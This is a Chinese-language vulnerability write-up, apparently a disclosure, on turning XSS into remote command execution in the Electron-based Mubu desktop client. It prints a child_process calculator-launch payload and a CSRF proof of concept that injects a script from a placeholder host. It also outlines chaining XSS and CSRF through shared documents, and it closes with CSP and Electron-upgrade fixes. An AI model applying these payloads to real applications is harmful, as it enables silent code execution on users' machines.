..

幕布(mubu.com) Client 远程命令执行

uodate

一位安全研究员对幕布客户端的最新研究

https://xz.aliyun.com/t/4910


幕布(mubu.com)是一款头脑管理工具,用更高效的方式和清晰的结构来记录笔记、管理任务、制定工作计划、头脑风暴。用最好的方式释放您的大脑!

幕布使用 Electron 框架开发,想要验证这一点很容易,在 /Applications/幕布.app/Contents/ 可以可以发现一些 Electron 框架的信息

Electron 基于 Chromium 和 Node.js, 使用 HTML, CSS 和 JavaScript 来快速开发桌面程序。近几年发展迅猛,很多我们熟知的app其实都是Electron开发的,比如 vscode、atom、GitHub Desktop 等

在Black Hat Briefings 2017上国外安全研究员Luca Carettoni发表了一篇议题 ELECTRONEGATIVITY - A STUDY OF ELECTRON SECURITY

简单来说就是可以利用JavaScript执行系统命令,进而XSS跨站脚本攻击变成RCE远程命令执行

所以先要找到一个XSS漏洞,macOS上幕布1.1.0 版本有很多地方存在XSS,比如在搜索框输入JavaScript代码可正常执行 试试弹计算器的Payload

<script type="text/javascript">   window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});</script>

但是搜索框这个位置也只能影响到自己而已,还需要找到能够攻击别人XSS漏洞才够完美。 找呀找,发现文件夹名也能XSS,但也没办法攻击到别人,除非找到CSRF 创建文件夹或者越权更改文件夹名字的漏洞才行。 在Web版发现创建文件夹的CSRF漏洞

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://mubu.com/api/list/create_folder" method="POST">
      <input type="hidden" name="folderId" value="0" />
      <input type="hidden" name="name" value="<img/src=x onerror=s=document.createElement('script');s.src='http://xxx';document.head.appendChild(s);>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

有对一些敏感的标签做检查,黑名单策略很容易绕过,注入外部js时又遇到问题,因为页面是https并且 Referrer Policy:no-referrer-when-downgrade 所以不能降级加载http的资源,也没有https的域名只能作罢 前面说到可以XSS的地方有很多,比如文档标题在查看思维导图功能可以执行 当然在Client也是可以执行的,还没有no-referrer-when-downgrade的限制,可以通过文档分享功能进行传播 在用户昵称处存在XSS问题,保存功能存在CSRF,综合利用可以悄无声息保存文档,一旦用户在客户端打开即可触发执行命令

修复:

其核心问题还是XSS问题,通常会建议使用CSP进行限制脚本执行,比如大名鼎鼎的VScode就是使用CSP,script-src 设置为self,仅允许同源的js加载,另外也要使用高版本Electron框架,因为Electron也是在不断完善迭代,新版会修复一些安全问题。